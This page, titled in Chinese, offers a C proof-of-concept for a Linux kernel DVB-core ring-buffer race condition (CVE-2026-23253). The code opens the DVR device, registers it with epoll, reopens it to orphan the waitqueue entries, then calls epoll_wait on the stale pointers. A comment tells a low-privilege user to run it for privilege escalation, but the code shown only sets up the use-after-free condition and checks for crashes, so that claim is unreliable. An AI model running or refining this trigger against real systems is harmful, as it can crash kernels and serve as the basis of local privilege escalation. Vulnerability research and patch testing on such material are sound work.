Linux内核DVB-core环形缓冲区竞争条件导致本地权限提升漏洞(CVE-2026-23253)

#include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <sys/epoll.h> #include <errno.h> /* * PoC for CVE-2026-23253: Linux kernel DVB-core ringbuffer reinitialization race condition * This PoC demonstrates the race condition when reopening DVR device while io_uring/epoll * has waitqueue entries, causing orphaned waitqueue entries with stale pointers. * * Compile: gcc -o cve_2026_23253_poc cve_2026_23253_poc.c * Run as low-privilege user to trigger privilege escalation */ #define DVR_DEVICE "/dev/dvb/adapter0/dvr0" int main(int argc, char *argv[]) { int fd1, fd2, epfd; struct epoll_event ev; printf("CVE-2026-23253 PoC - DVB-core ringbuffer race condition\n"); printf("Target: %s\n\n", DVR_DEVICE); // Open first DVR device file descriptor fd1 = open(DVR_DEVICE, O_RDWR); if (fd1 < 0) { fprintf(stderr, "[-] Failed to open DVR device (fd1): %s\n", strerror(errno)); printf("[!] Note: DVR device may not exist or requires root privileges\n"); return 1; } printf("[+] Opened DVR device (fd1): %d\n", fd1); // Set up epoll to monitor fd1 epfd = epoll_create1(0); if (epfd < 0) { perror("[-] epoll_create1 failed"); close(fd1); return 1; } ev.events = EPOLLIN | EPOLLOUT; ev.data.fd = fd1; if (epoll_ctl(epfd, EPOLL_CTL_ADD, fd1, &ev) < 0) { perror("[-] epoll_ctl failed"); close(fd1); close(epfd); return 1; } printf("[+] Added fd1 to epoll instance\n"); // Open second DVR device file descriptor (triggers dvb_dvr_open -> dvb_ringbuffer_init) // This reinitializes the shared waitqueue, orphaning epoll entries fd2 = open(DVR_DEVICE, O_RDWR); if (fd2 < 0) { fprintf(stderr, "[-] Failed to open DVR device (fd2): %s\n", strerror(errno)); close(fd1); close(epfd); return 1; } printf("[+] Opened DVR device (fd2): %d\n", fd2); printf("[!] Race condition triggered: waitqueue reinitialized, epoll entries orphaned\n"); // Trigger epoll_wait to access orphaned waitqueue entries struct epoll_event events[10]; int nfds = epoll_wait(epfd, events, 10, 100); printf("[*] epoll_wait returned: %d (may show undefined behavior)\n", nfds); // Cleanup close(fd2); close(fd1); close(epfd); printf("[+] PoC completed. Check kernel logs for any errors or crashes.\n"); return 0; }